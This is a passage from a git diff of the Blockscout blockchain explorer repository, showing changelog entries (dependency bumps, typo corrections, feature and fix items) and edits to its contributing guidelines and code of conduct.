to 6.1.1 in /apps/block_scout_web/assets +- [#6318](https://github.com/blockscout/blockscout/pull/6318) - Bump spandex from 3.1.0 to 3.2.0 +- [#6335](https://github.com/blockscout/blockscout/pull/6335) - Bump eslint from 8.25.0 to 8.26.0 in /apps/block_scout_web/assets +- [#6334](https://github.com/blockscout/blockscout/pull/6334) - Bump ex_cldr_numbers from 2.27.3 to 2.28.0 +- [#6333](https://github.com/blockscout/blockscout/pull/6333) - Bump core-js from 3.25.5 to 3.26.0 in /apps/block_scout_web/assets +- [#6332](https://github.com/blockscout/blockscout/pull/6332) - Bump ex_cldr from 2.33.2 to 2.34.0 +- [#6339](https://github.com/blockscout/blockscout/pull/6339) - Bump sweetalert2 from 11.6.0 to 11.6.2 in /apps/block_scout_web/assets +- [#6330](https://github.com/blockscout/blockscout/pull/6330) - Bump ex_cldr_units from 3.14.0 to 3.15.0 +- [#6341](https://github.com/blockscout/blockscout/pull/6341) - Bump jest-environment-jsdom from 29.2.1 to 29.2.2 in /apps/block_scout_web/assets +- [#6342](https://github.com/blockscout/blockscout/pull/6342) - Bump jest from 29.2.1 to 29.2.2 in /apps/block_scout_web/assets +- [#6359](https://github.com/blockscout/blockscout/pull/6359) - Bump babel-loader from 8.2.5 to 9.0.0 in /apps/block_scout_web/assets +- [#6360](https://github.com/blockscout/blockscout/pull/6360) - Bump sweetalert2 from 11.6.2 to 11.6.4 in /apps/block_scout_web/assets +- [#6363](https://github.com/blockscout/blockscout/pull/6363) - Bump autoprefixer from 10.4.12 to 10.4.13 in /apps/block_scout_web/assets +- [#6364](https://github.com/blockscout/blockscout/pull/6364) - Bump ueberauth_auth0 from 2.0.0 to 2.1.0 +- [#6372](https://github.com/blockscout/blockscout/pull/6372) - Bump babel-loader from 9.0.0 to 9.0.1 in /apps/block_scout_web/assets +- [#6374](https://github.com/blockscout/blockscout/pull/6374) - Bump plug_cowboy from 2.5.2 to 2.6.0 +- [#6373](https://github.com/blockscout/blockscout/pull/6373) - Bump luxon from 3.0.4 to 3.1.0 in /apps/block_scout_web/assets +- [#6375](https://github.com/blockscout/blockscout/pull/6375) - Bump sweetalert2 from 11.6.4 to 11.6.5 in /apps/block_scout_web/assets +- [#6393](https://github.com/blockscout/blockscout/pull/6393) - Bump babel-loader from 9.0.1 to 9.1.0 in /apps/block_scout_web/assets +- [#6417](https://github.com/blockscout/blockscout/pull/6417) - Bump loader-utils from 2.0.2 to 2.0.3 in /apps/block_scout_web/assets +- [#6410](https://github.com/blockscout/blockscout/pull/6410) - Bump sweetalert2 from 11.6.5 to 11.6.7 in /apps/block_scout_web/assets +- [#6411](https://github.com/blockscout/blockscout/pull/6411) - Bump eslint from 8.26.0 to 8.27.0 in /apps/block_scout_web/assets +- [#6412](https://github.com/blockscout/blockscout/pull/6412) - Bump sass from 1.55.0 to 1.56.0 in /apps/block_scout_web/assets +- [#6413](https://github.com/blockscout/blockscout/pull/6413) - Bump jest-environment-jsdom from 29.2.2 to 29.3.0 in /apps/block_scout_web/assets +- [#6414](https://github.com/blockscout/blockscout/pull/6414) - Bump @babel/core from 7.19.6 to 7.20.2 in /apps/block_scout_web/assets +- [#6416](https://github.com/blockscout/blockscout/pull/6416) - Bump @babel/preset-env from 7.19.4 to 7.20.2 in /apps/block_scout_web/assets +- [#6419](https://github.com/blockscout/blockscout/pull/6419) - Bump jest from 29.2.2 to 29.3.1 in /apps/block_scout_web/assets +- [#6421](https://github.com/blockscout/blockscout/pull/6421) - Bump webpack from 5.74.0 to 5.75.0 in /apps/block_scout_web/assets +- [#6423](https://github.com/blockscout/blockscout/pull/6423) - Bump jest-environment-jsdom from 29.3.0 to 29.3.1 in /apps/block_scout_web/assets +- [#6424](https://github.com/blockscout/blockscout/pull/6424) - Bump floki from 0.33.1 to 0.34.0 +- [#6422](https://github.com/blockscout/blockscout/pull/6422) - Bump sass from 1.56.0 to 1.56.1 in /apps/block_scout_web/assets +- [#6430](https://github.com/blockscout/blockscout/pull/6430) - Bump web3 from 1.8.0 to 1.8.1 in /apps/block_scout_web/assets +- [#6431](https://github.com/blockscout/blockscout/pull/6431) - Bump sweetalert2 from 11.6.7 to 11.6.8 in /apps/block_scout_web/assets +- [#6432](https://github.com/blockscout/blockscout/pull/6432) - Bump sass-loader from 13.1.0 to 13.2.0 in /apps/block_scout_web/assets +- [#6445](https://github.com/blockscout/blockscout/pull/6445) - Bump postcss from 8.4.18 to 8.4.19 in /apps/block_scout_web/assets +- [#6446](https://github.com/blockscout/blockscout/pull/6446) - Bump core-js from 3.26.0 to 3.26.1 in /apps/block_scout_web/assets +- [#6452](https://github.com/blockscout/blockscout/pull/6452) - Bump @fortawesome/fontawesome-free from 6.2.0 to 6.2.1 in /apps/block_scout_web/assets +- [#6456](https://github.com/blockscout/blockscout/pull/6456) - Bump loader-utils from 2.0.3 to 2.0.4 in /apps/block_scout_web/assets +- [#6462](https://github.com/blockscout/blockscout/pull/6462) - Bump chartjs-adapter-luxon from 1.2.0 to 1.2.1 in /apps/block_scout_web/assets +- [#6469](https://github.com/blockscout/blockscout/pull/6469) - Bump sweetalert2 from 11.6.8 to 11.6.9 in /apps/block_scout_web/assets +- [#6471](https://github.com/blockscout/blockscout/pull/6471) - Bump mini-css-extract-plugin from 2.6.1 to 2.7.0 in /apps/block_scout_web/assets +- [#6470](https://github.com/blockscout/blockscout/pull/6470) - Bump chart.js from 3.9.1 to 4.0.1 in /apps/block_scout_web/assets +- [#6472](https://github.com/blockscout/blockscout/pull/6472) - Bump webpack-cli from 4.10.0 to 5.0.0 in /apps/block_scout_web/assets +- [#6487](https://github.com/blockscout/blockscout/pull/6487) - Bump eslint from 8.27.0 to 8.28.0 in /apps/block_scout_web/assets +- [#6488](https://github.com/blockscout/blockscout/pull/6488) - Bump ex_doc from 0.29.0 to 0.29.1 +- [#6491](https://github.com/blockscout/blockscout/pull/6491) - Bump minimatch from 3.0.4 to 3.0.8 in /apps/block_scout_web/assets +- [#6479](https://github.com/blockscout/blockscout/pull/6479) - Bump ecto_sql from 3.9.0 to 3.9.1 +- [#6486](https://github.com/blockscout/blockscout/pull/6486) - Bump sweetalert2 from 11.6.9 to 11.6.10 in /apps/block_scout_web/assets +- [#6498](https://github.com/blockscout/blockscout/pull/6498) - Bump sweetalert2 from 11.6.10 to 11.6.13 in /apps/block_scout_web/assets +- [#6506](https://github.com/blockscout/blockscout/pull/6506) - Bump web3modal from 1.9.9 to 1.9.10 in /apps/block_scout_web/assets +- [#6505](https://github.com/blockscout/blockscout/pull/6505) - Bump highlight.js from 11.6.0 to 11.7.0 in /apps/block_scout_web/assets +- [#6504](https://github.com/blockscout/blockscout/pull/6504) - Bump sweetalert2 from 11.6.13 to 11.6.14 in /apps/block_scout_web/assets +- [#6507](https://github.com/blockscout/blockscout/pull/6507) - Bump remote_ip from 1.0.0 to 1.1.0 +- [#6497](https://github.com/blockscout/blockscout/pull/6497) - Bump chartjs-adapter-luxon from 1.2.1 to 1.3.0 in /apps/block_scout_web/assets +- [#6519](https://github.com/blockscout/blockscout/pull/6519) - Bump photoswipe from 5.3.3 to 5.3.4 in /apps/block_scout_web/assets +- [#6520](https://github.com/blockscout/blockscout/pull/6520) - Bump @babel/core from 7.20.2 to 7.20.5 in /apps/block_scout_web/assets +- [#6527](https://github.com/blockscout/blockscout/pull/6527) - Bump luxon from 3.1.0 to 3.1.1 in /apps/block_scout_web/assets +- [#6526](https://github.com/blockscout/blockscout/pull/6526) - Bump mini-css-extract-plugin from 2.7.0 to 2.7.1 in /apps/block_scout_web/assets +- [#6533](https://github.com/blockscout/blockscout/pull/6533) - Bump postcss-loader from 7.0.1 to 7.0.2 in /apps/block_scout_web/assets +- [#6534](https://github.com/blockscout/blockscout/pull/6534) - Bump sweetalert2 from 11.6.14 to 11.6.15 in /apps/block_scout_web/assets +- [#6539](https://github.com/blockscout/blockscout/pull/6539) - Bump decode-uri-component from 0.2.0 to 0.2.2 in /apps/block_scout_web/assets +- [#6555](https://github.com/blockscout/blockscout/pull/6555) - Bump bignumber.js from 9.1.0 to 9.1.1 in /apps/block_scout_web/assets +- [#6557](https://github.com/blockscout/blockscout/pull/6557) - Bump webpack-cli from 5.0.0 to 5.0.1 in /apps/block_scout_web/assets +- [#6558](https://github.com/blockscout/blockscout/pull/6558) - Bump eslint from 8.28.0 to 8.29.0 in /apps/block_scout_web/assets +- [#6556](https://github.com/blockscout/blockscout/pull/6556) - Bump mini-css-extract-plugin from 2.7.1 to 2.7.2 in /apps/block_scout_web/assets +- [#6562](https://github.com/blockscout/blockscout/pull/6562) - Bump qs from 6.5.2 to 6.5.3 in /apps/block_scout_web/assets +- [#6577](https://github.com/blockscout/blockscout/pull/6577) - Bump postcss from 8.4.19 to 8.4.20 in /apps/block_scout_web/assets +- [#6578](https://github.com/blockscout/blockscout/pull/6578) - Bump sass from 1.56.1 to 1.56.2 in /apps/block_scout_web/assets + +
+ ## 4.1.8-beta ### Features @@ -13,6 +3363,7 @@ - [#5968](https://github.com/blockscout/blockscout/pull/5968) - Add call type in the response of txlistinternal API method - [#5860](https://github.com/blockscout/blockscout/pull/5860) - Integrate rust verifier micro-service ([blockscout-rs/verifier](https://github.com/blockscout/blockscout-rs/tree/main/verification)) - [#6001](https://github.com/blockscout/blockscout/pull/6001) - Add ETHEREUM_JSONRPC_DISABLE_ARCHIVE_BALANCES env var that filters requests and query node only if the block quantity is "latest" +- [#5944](https://github.com/blockscout/blockscout/pull/5944) - Add tab with state changes to transaction page ### Fixes @@ -38,6 +3389,7 @@ - [#5948](https://github.com/blockscout/blockscout/pull/5948) - Fix unexpected messages in `CoinBalanceOnDemand` - [#6013](https://github.com/blockscout/blockscout/pull/6013) - Fix ERC-1155 tokens fetching - [#6043](https://github.com/blockscout/blockscout/pull/6043) - Fix token instance fetching +- [#6093](https://github.com/blockscout/blockscout/pull/6093) - Fix Indexer.Fetcher.TokenInstance for ERC-1155 tokens ### Chore @@ -85,7 +3437,7 @@ - [#5867](https://github.com/blockscout/blockscout/pull/5867) - Bump @babel/preset-env from 7.16.11 to 7.18.10 in /apps/block_scout_web/assets - [#5876](https://github.com/blockscout/blockscout/pull/5876) - Bump bignumber.js from 9.0.2 to 9.1.0 in /apps/block_scout_web/assets - [#5871](https://github.com/blockscout/blockscout/pull/5871) - Bump redux from 4.1.2 to 4.2.0 in /apps/block_scout_web/assets -- [#5868](https://github.com/blockscout/blockscout/pull/5868) - Bump ex_rlp from 0.5.3 to 0.5.4 +- [#5868](https://github.com/blockscout/blockscout/pull/5868) - Bump ex_rlp from 0.5.3 to 0.5.4 - [#5874](https://github.com/blockscout/blockscout/pull/5874) - Bump core-js from 3.20.3 to 3.24.1 in /apps/block_scout_web/assets - [#5882](https://github.com/blockscout/blockscout/pull/5882) - Bump math from 0.3.1 to 0.7.0 - [#5878](https://github.com/blockscout/blockscout/pull/5878) - Bump css-minimizer-webpack-plugin from 3.4.1 to 4.0.0 in /apps/block_scout_web/assets @@ -178,6 +3530,7 @@ - [#5778](https://github.com/blockscout/blockscout/pull/5778) - Allow hyphen in database name ### Chore + - [#5787](https://github.com/blockscout/blockscout/pull/5787) - Add job for merging master to specific branch after release - [#5788](https://github.com/blockscout/blockscout/pull/5788) - Update Docker image on every push to master branch - [#5736](https://github.com/blockscout/blockscout/pull/5736) - Remove obsolete network selector @@ -213,7 +3566,7 @@ - [#5656](https://github.com/blockscout/blockscout/pull/5656) - Gas price oracle - [#5613](https://github.com/blockscout/blockscout/pull/5613) - Exchange rates CoinMarketCap source module - [#5588](https://github.com/blockscout/blockscout/pull/5588) - Add broadcasting of coin balance -- [#5560](https://github.com/blockscout/blockscout/pull/5560) - Manual fetch benefeciaries +- [#5560](https://github.com/blockscout/blockscout/pull/5560) - Manual fetch beneficiaries - [#5479](https://github.com/blockscout/blockscout/pull/5479) - Remake of solidity verifier module; Verification UX improvements - [#5540](https://github.com/blockscout/blockscout/pull/5540) - Tx page: scroll to selected tab's data @@ -401,7 +3754,7 @@ ### Features - [#5030](https://github.com/blockscout/blockscout/pull/5030) - API rate limiting -- [#4924](https://github.com/blockscout/blockscout/pull/4924) - Add daily bytecode verifcation to prevent metamorphic contracts vulnerablity +- [#4924](https://github.com/blockscout/blockscout/pull/4924) - Add daily bytecode verification to prevent metamorphic contracts vulnerability - [#4908](https://github.com/blockscout/blockscout/pull/4908) - Add verification via standard JSON input - [#5004](https://github.com/blockscout/blockscout/pull/5004) - Add ability to set up a separate DB endpoint for the API endpoints - [#4989](https://github.com/blockscout/blockscout/pull/4989), [#4991](https://github.com/blockscout/blockscout/pull/4991) - Bridged tokens list API endpoint @@ -411,7 +3764,7 @@ - [#5045](https://github.com/blockscout/blockscout/pull/5045) - Contracts interaction improvements - [#5032](https://github.com/blockscout/blockscout/pull/5032) - Fix token transfer csv export -- [#5020](https://github.com/blockscout/blockscout/pull/5020) - Token instance image display imrovement +- [#5020](https://github.com/blockscout/blockscout/pull/5020) - Token instance image display improvement - [#5019](https://github.com/blockscout/blockscout/pull/5019) - Fix fetch_last_token_balance function termination - [#5011](https://github.com/blockscout/blockscout/pull/5011) - Fix `0x0` implementation address - [#5008](https://github.com/blockscout/blockscout/pull/5008) - Extend decimals cap in format_according_to_decimals up to 24 @@ -425,7 +3778,7 @@ - [#4945](https://github.com/blockscout/blockscout/pull/4945) - Fix `Verify & Publish` button link - [#4938](https://github.com/blockscout/blockscout/pull/4938) - Fix displaying of nested arrays for contracts read - [#4888](https://github.com/blockscout/blockscout/pull/4888) - Fix fetch_top_tokens method: add nulls last for token holders desc order -- [#4867](https://github.com/blockscout/blockscout/pull/4867) - Fix bug in quering contracts method and improve contracts interactions +- [#4867](https://github.com/blockscout/blockscout/pull/4867) - Fix bug in querying contracts method and improve contracts interactions ### Chore @@ -448,7 +3801,7 @@ - [#4739](https://github.com/blockscout/blockscout/pull/4739) - Improve logs and inputs decoding - [#4747](https://github.com/blockscout/blockscout/pull/4747) - Advanced CSV export - [#4745](https://github.com/blockscout/blockscout/pull/4745) - Vyper contracts verification -- [#4699](https://github.com/blockscout/blockscout/pull/4699), [#4793](https://github.com/blockscout/blockscout/pull/4793), [#4820](https://github.com/blockscout/blockscout/pull/4820), [#4827](https://github.com/blockscout/blockscout/pull/4827) - Address page facelifting +- [#4699](https://github.com/blockscout/blockscout/pull/4699), [#4793](https://github.com/blockscout/blockscout/pull/4793), [#4820](https://github.com/blockscout/blockscout/pull/4820), [#4827](https://github.com/blockscout/blockscout/pull/4827) - Address page face lifting - [#4667](https://github.com/blockscout/blockscout/pull/4667) - Transaction Page: Add expand/collapse button for long contract method data - [#4641](https://github.com/blockscout/blockscout/pull/4641), [#4733](https://github.com/blockscout/blockscout/pull/4733) - Improve Read Contract page logic - [#4660](https://github.com/blockscout/blockscout/pull/4660) - Save Sourcify path instead of filename @@ -535,13 +3888,13 @@ - [#4569](https://github.com/blockscout/blockscout/pull/4569) - Smart-Contract: remove comment with the submission date - [#4568](https://github.com/blockscout/blockscout/pull/4568) - TX page: Token transfer and minting section improvements -- [#4540](https://github.com/blockscout/blockscout/pull/4540) - Allign copy buttons for `Block Details` and `Transaction Details` pages +- [#4540](https://github.com/blockscout/blockscout/pull/4540) - Align copy buttons for `Block Details` and `Transaction Details` pages - [#4528](https://github.com/blockscout/blockscout/pull/4528) - Block Details page: rework view - [#4531](https://github.com/blockscout/blockscout/pull/4531) - Add Arbitrum support - [#4524](https://github.com/blockscout/blockscout/pull/4524) - Add index position of transaction in the block - [#4489](https://github.com/blockscout/blockscout/pull/4489) - Search results page -- [#4475](https://github.com/blockscout/blockscout/pull/4475) - Tx page facelifting -- [#4452](https://github.com/blockscout/blockscout/pull/4452) - Add names for smart-conrtact's function response +- [#4475](https://github.com/blockscout/blockscout/pull/4475) - Tx page face lifting +- [#4452](https://github.com/blockscout/blockscout/pull/4452) - Add names for smart-contract's function response ### Fixes @@ -565,7 +3918,7 @@ ### Chore - [#4550](https://github.com/blockscout/blockscout/pull/4550) - Update con_cache package to 1.0 -- [#4523](https://github.com/blockscout/blockscout/pull/4523) - Change order of transations in block's view +- [#4523](https://github.com/blockscout/blockscout/pull/4523) - Change order of transactions in block's view - [#4521](https://github.com/blockscout/blockscout/pull/4521) - Rewrite transaction page tooltips - [#4516](https://github.com/blockscout/blockscout/pull/4516) - Add DB migrations step into Docker start script - [#4497](https://github.com/blockscout/blockscout/pull/4497) - Handle error in fetch_validators_list method @@ -590,7 +3943,7 @@ - [#4418](https://github.com/blockscout/blockscout/pull/4418) - Fix empty search results for the full-word search criteria - [#4406](https://github.com/blockscout/blockscout/pull/4406) - Fix internal server error on the validator's txs page - [#4360](https://github.com/blockscout/blockscout/pull/4360) - Fix false-pending transactions in reorg blocks -- [#4388](https://github.com/blockscout/blockscout/pull/4388) - Fix internal server error on contract page for insctances without sourcify envs +- [#4388](https://github.com/blockscout/blockscout/pull/4388) - Fix internal server error on contract page for instances without sourcify envs - [#4385](https://github.com/blockscout/blockscout/pull/4385) - Fix html template for transaction's input; Add copy text for tuples ### Chore @@ -633,7 +3986,7 @@ - [#4295](https://github.com/blockscout/blockscout/pull/4295) - Mobile view fix: transaction tile tx hash overflow - [#4294](https://github.com/blockscout/blockscout/pull/4294) - User wont be able to open verification pages for verified smart-contract - [#4240](https://github.com/blockscout/blockscout/pull/4240) - `[]` is accepted in write contract page -- [#4236](https://github.com/blockscout/blockscout/pull/4236), [#4242](https://github.com/blockscout/blockscout/pull/4242) - Fix typo, constructor instead of contructor +- [#4236](https://github.com/blockscout/blockscout/pull/4236), [#4242](https://github.com/blockscout/blockscout/pull/4242) - Fix typo, constructor instead of constructor - [#4167](https://github.com/blockscout/blockscout/pull/4167) - Deduplicate block numbers in acquire_blocks function - [#4149](https://github.com/blockscout/blockscout/pull/4149) - Exclude smart_contract_additional_sources from JSON encoding in address schema - [#4137](https://github.com/blockscout/blockscout/pull/4137) - Get token balance query improvement @@ -760,7 +4113,7 @@ - [#3618](https://github.com/blockscout/blockscout/pull/3618) - Contracts verification up to 10 libraries - [#3616](https://github.com/blockscout/blockscout/pull/3616) - POSDAO refactoring: use zero address instead of staker address for certain cases - [#3612](https://github.com/blockscout/blockscout/pull/3612) - POSDAO refactoring: use 'getDelegatorPools' getter instead of 'getStakerPools' in Staking DApp -- [#3585](https://github.com/blockscout/blockscout/pull/3585) - Add autoswitching from eth_subscribe to eth_blockNumber in Staking DApp +- [#3585](https://github.com/blockscout/blockscout/pull/3585) - Add auto switching from eth_subscribe to eth_blockNumber in Staking DApp - [#3574](https://github.com/blockscout/blockscout/pull/3574) - Correct UNI token price - [#3569](https://github.com/blockscout/blockscout/pull/3569) - Allow re-define cache period vars at runtime - [#3567](https://github.com/blockscout/blockscout/pull/3567) - Force to show filter at the page where filtered items list is empty @@ -968,8 +4321,8 @@ - [#3249](https://github.com/blockscout/blockscout/pull/3249) - Fix incorrect ABI decoding of address in tuple output - [#3237](https://github.com/blockscout/blockscout/pull/3237) - Refine contract method signature detection for read/write feature -- [#3235](https://github.com/blockscout/blockscout/pull/3235) - Fix coin supply api edpoint -- [#3233](https://github.com/blockscout/blockscout/pull/3233) - Fix for the contract verifiaction for solc 0.5 family with experimental features enabled +- [#3235](https://github.com/blockscout/blockscout/pull/3235) - Fix coin supply api endpoint +- [#3233](https://github.com/blockscout/blockscout/pull/3233) - Fix for the contract verification for solc 0.5 family with experimental features enabled - [#3231](https://github.com/blockscout/blockscout/pull/3231) - Improve search: unlimited number of searching results - [#3231](https://github.com/blockscout/blockscout/pull/3231) - Improve search: allow search with space - [#3231](https://github.com/blockscout/blockscout/pull/3231) - Improve search: order by token holders in descending order and token/contract name is ascending order @@ -980,7 +4333,7 @@ - [#3326](https://github.com/blockscout/blockscout/pull/3326) - Chart smooth lines - [#3250](https://github.com/blockscout/blockscout/pull/3250) - Eliminate occurrences of obsolete env variable ETHEREUM_JSONRPC_JSON_RPC_TRANSPORT -- [#3240](https://github.com/blockscout/blockscout/pull/3240), [#3251](https://github.com/blockscout/blockscout/pull/3251) - various CSS imroving +- [#3240](https://github.com/blockscout/blockscout/pull/3240), [#3251](https://github.com/blockscout/blockscout/pull/3251) - various CSS improving - [f3a720](https://github.com/blockscout/blockscout/commit/2dd909c10a79b0bf4b7541a486be114152f3a720) - Make wobserver optional ## 3.3.1-beta @@ -1345,11 +4698,11 @@ fixed menu hovers in dark mode desktop view - [#2596](https://github.com/blockscout/blockscout/pull/2596) - support AuRa's empty step reward type - [#2588](https://github.com/blockscout/blockscout/pull/2588) - add verification submission comment - [#2505](https://github.com/blockscout/blockscout/pull/2505) - support POA Network emission rewards -- [#2581](https://github.com/blockscout/blockscout/pull/2581) - Add generic Map-like Cache behaviour and implementation +- [#2581](https://github.com/blockscout/blockscout/pull/2581) - Add generic Map-like Cache behavior and implementation - [#2561](https://github.com/blockscout/blockscout/pull/2561) - Add token's type to the response of tokenlist method - [#2555](https://github.com/blockscout/blockscout/pull/2555) - find and show decoding candidates for logs - [#2499](https://github.com/blockscout/blockscout/pull/2499) - import emission reward ranges -- [#2497](https://github.com/blockscout/blockscout/pull/2497) - Add generic Ordered Cache behaviour and implementation +- [#2497](https://github.com/blockscout/blockscout/pull/2497) - Add generic Ordered Cache behavior and implementation ### Fixes @@ -1381,7 +4734,7 @@ fixed menu hovers in dark mode desktop view - [#2617](https://github.com/blockscout/blockscout/pull/2617) - skip cache update if there are no blocks inserted - [#2611](https://github.com/blockscout/blockscout/pull/2611) - fix js dependency vulnerabilities - [#2594](https://github.com/blockscout/blockscout/pull/2594) - do not start genesis data fetching periodically -- [#2590](https://github.com/blockscout/blockscout/pull/2590) - restore backward compatablity with old releases +- [#2590](https://github.com/blockscout/blockscout/pull/2590) - restore backward compatibility with old releases - [#2577](https://github.com/blockscout/blockscout/pull/2577) - Need recompile column in the env vars table - [#2574](https://github.com/blockscout/blockscout/pull/2574) - limit request body in json rpc error - [#2566](https://github.com/blockscout/blockscout/pull/2566) - upgrade absinthe phoenix @@ -1405,7 +4758,7 @@ fixed menu hovers in dark mode desktop view - [#2559](https://github.com/blockscout/blockscout/pull/2559) - fix rsk total supply for empty exchange rate - [#2553](https://github.com/blockscout/blockscout/pull/2553) - Dark theme import to the end of sass - [#2550](https://github.com/blockscout/blockscout/pull/2550) - correctly encode decimal values for frontend -- [#2549](https://github.com/blockscout/blockscout/pull/2549) - Fix wrong colour of tooltip +- [#2549](https://github.com/blockscout/blockscout/pull/2549) - Fix wrong color of tooltip - [#2548](https://github.com/blockscout/blockscout/pull/2548) - CSS preload support in Firefox - [#2547](https://github.com/blockscout/blockscout/pull/2547) - do not show eth value if it's zero on the transaction overview page - [#2543](https://github.com/blockscout/blockscout/pull/2543) - do not hide search input during logs search @@ -1594,7 +4947,7 @@ fixed menu hovers in dark mode desktop view ### Chore -- [#2127](https://github.com/blockscout/blockscout/pull/2127) - use previouse chromedriver version +- [#2127](https://github.com/blockscout/blockscout/pull/2127) - use previous chromedriver version - [#2118](https://github.com/blockscout/blockscout/pull/2118) - show only the last decompiled contract - [#2255](https://github.com/blockscout/blockscout/pull/2255) - upgrade elixir version to 1.9.0 - [#2256](https://github.com/blockscout/blockscout/pull/2256) - use the latest version of chromedriver @@ -1621,7 +4974,7 @@ fixed menu hovers in dark mode desktop view - [#2036](https://github.com/blockscout/blockscout/pull/2036) - New tables for staking pools and delegators - [#1974](https://github.com/blockscout/blockscout/pull/1974) - feat: previous page button logic - [#1999](https://github.com/blockscout/blockscout/pull/1999) - load data async on addresses page -- [#1807](https://github.com/blockscout/blockscout/pull/1807) - New theming capabilites. +- [#1807](https://github.com/blockscout/blockscout/pull/1807) - New theming capabilities. - [#2040](https://github.com/blockscout/blockscout/pull/2040) - Verification links to other explorers for ETH - [#2037](https://github.com/blockscout/blockscout/pull/2037) - add address logs search functionality - [#2012](https://github.com/blockscout/blockscout/pull/2012) - make all pages pagination async @@ -1651,7 +5004,7 @@ fixed menu hovers in dark mode desktop view - [#1868](https://github.com/blockscout/blockscout/pull/1868) - fix: logs list endpoint performance - [#1822](https://github.com/blockscout/blockscout/pull/1822) - Fix style breaks in decompiled contract code view - [#1885](https://github.com/blockscout/blockscout/pull/1885) - highlight reserved words in decompiled code -- [#1896](https://github.com/blockscout/blockscout/pull/1896) - re-query tokens in top nav automplete +- [#1896](https://github.com/blockscout/blockscout/pull/1896) - re-query tokens in top nav autocomplete - [#1905](https://github.com/blockscout/blockscout/pull/1905) - fix reorgs, uncles pagination - [#1904](https://github.com/blockscout/blockscout/pull/1904) - fix `BLOCK_COUNT_CACHE_TTL` env var type - [#1915](https://github.com/blockscout/blockscout/pull/1915) - fallback to 2 latest evm versions @@ -1668,7 +5021,7 @@ fixed menu hovers in dark mode desktop view - [#2014](https://github.com/blockscout/blockscout/pull/2014) - fix: use better queries for listLogs endpoint - [#2027](https://github.com/blockscout/blockscout/pull/2027) - fix: `BlocksTransactionsMismatch` ignoring blocks without transactions - [#2070](https://github.com/blockscout/blockscout/pull/2070) - reduce `max_concurrency` of `BlocksTransactionsMismatch` fetcher -- [#2083](https://github.com/blockscout/blockscout/pull/2083) - allow total_difficuly to be nil +- [#2083](https://github.com/blockscout/blockscout/pull/2083) - allow total_difficulty to be nil - [#2086](https://github.com/blockscout/blockscout/pull/2086) - fix geth's staticcall without output ### Chore @@ -1745,7 +5098,7 @@ Reverting of synchronous block counter, implemented in #1848 ### Chore -- [#1814](https://github.com/blockscout/blockscout/pull/1814) - Clear build artefacts script +- [#1814](https://github.com/blockscout/blockscout/pull/1814) - Clear build artifacts script - [#1837](https://github.com/blockscout/blockscout/pull/1837) - Add -f flag to clear_build.sh script delete static folder ## 1.3.10-beta @@ -1829,7 +5182,7 @@ Reverting of synchronous block counter, implemented in #1848 ### Fixes -- [#1630](https://github.com/blockscout/blockscout/pull/1630) - (Fix) colour for release link in the footer +- [#1630](https://github.com/blockscout/blockscout/pull/1630) - (Fix) color for release link in the footer - [#1621](https://github.com/blockscout/blockscout/pull/1621) - Modify query to fetch failed contract creations - [#1614](https://github.com/blockscout/blockscout/pull/1614) - Do not fetch burn address token balance - [#1639](https://github.com/blockscout/blockscout/pull/1614) - Optimize token holder count updates when importing address current balances diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md index bfc85b0255bb..7507d6224673 100644 --- a/CODE_OF_CONDUCT.md +++ b/CODE_OF_CONDUCT.md @@ -3,7 +3,7 @@ ## Our Pledge In the interest of fostering an open and welcoming environment, we as -contributors and maintainers pledge to making participation in our project and +contributors and maintainers pledge to make participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 122503bc252f..b73c86239bec 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,14 +1,21 @@ -## Contributing +# Contribution Guidelines: What We Are Looking For + +We welcome contributions that enhance the project and improve the overall quality of our codebase. While we appreciate the effort that goes into making contributions, we kindly ask that contributors focus on the following types of changes: +- Feature Enhancements: Substantial improvements or new features that add significant value to the project. +- Bug Fixes: Fixes for known bugs or issues that impact functionality. +- Documentation Improvements: Comprehensive updates to documentation that clarify usage, installation, or project structure. +- Performance Improvements: Changes that enhance the performance or efficiency of the application. + +# Contributing 1. Fork it ( ) 2. Create your feature branch (`git checkout -b my-new-feature`) 3. Write tests that cover your work 4. Commit your changes (`git commit -am 'Add some feature'`) 5. Push to the branch (`git push origin my-new-feature`) -6. Create a new Pull Request -7. Update CHANGELOG.md with the link to PR and description of the changes +6. Create a new Pull Request. The title of Pull Request should follow [Conventional Commits specification](https://www.conventionalcommits.org/en/v1.0.0/) and should start with `feat:`, `fix:`, `chore:`, `doc:`, `perf:`, `refactor:` prefix. -### General +## General * Commits should be one logical change that still allows all tests to pass. Prefer smaller commits if there could be two levels of logic grouping. The goal is to allow contributors in the future (including your own future self) to determine your reasoning for making changes and to allow them to cherry-pick, patch or port those changes in isolation to other branches or forks. * If during your PR you reveal a pre-existing bug: @@ -18,14 +25,14 @@ 2. Commit the fix for the bug. 3. Continue original PR work. -### Enhancements +## Enhancements Enhancements cover all changes that make users lives better: * [feature requests filed as issues](https://github.com/blockscout/blockscout/labels/enhancement) that impact end-user [contributors](https://github.com/blockscout/blockscout/labels/contributor) and [developers](https://github.com/blockscout/blockscout/labels/developer) * changes to the [architecture](https://github.com/blockscout/blockscout/labels/architecture) that make it easier for contributors (in the GitHub sense), dev-ops, and deployers to maintain and run blockscout -### Bug Fixes +## Bug Fixes For bug fixes, whenever possible, there should be at least 2 commits: @@ -34,7 +41,7 @@ For bug fixes, whenever possible, there should be at least 2 commits: This format ensures that we can run the test to reproduce the original bug without depending on the new code in the fix, which could lead to the test falsely passing. -### Incompatible Changes +## Incompatible Changes Incompatible changes can arise as a side-effect of either Enhancements or Bug Fixes. During Enhancements, incompatible changes can occur because, as an example, in order to support showing end-users new data, the database schema may need to be changed and the index rebuilt from scratch. During bug fixes, incompatible changes can occur because in order to fix a bug, the schema had to change, or how certain internal APIs are called changed. @@ -45,7 +52,7 @@ Incompatible changes can arise as a side-effect of either Enhancements or Bug Fi **NOTE**: A database reset and re-index is required ``` -### Pull Request +## Pull Request There is a [PULL_REQUEST_TEMPLATE.md](PULL_REQUEST_TEMPLATE.md) for this repository, but since it can't fill in the title for you, please follow the following steps when opening a Pull Request before filling in the template: @@ -60,3 +67,194 @@ There is a [PULL_REQUEST_TEMPLATE.md](PULL_REQUEST_TEMPLATE.md) for this reposit * What was changed for incompatible changes See [#255](https://github.com/blockscout/blockscout/pull/255) as an example PR that uses GitHub keywords and a Changelog to explain multiple changes. + +## Basic Naming Convention + +When contributing to the codebase, 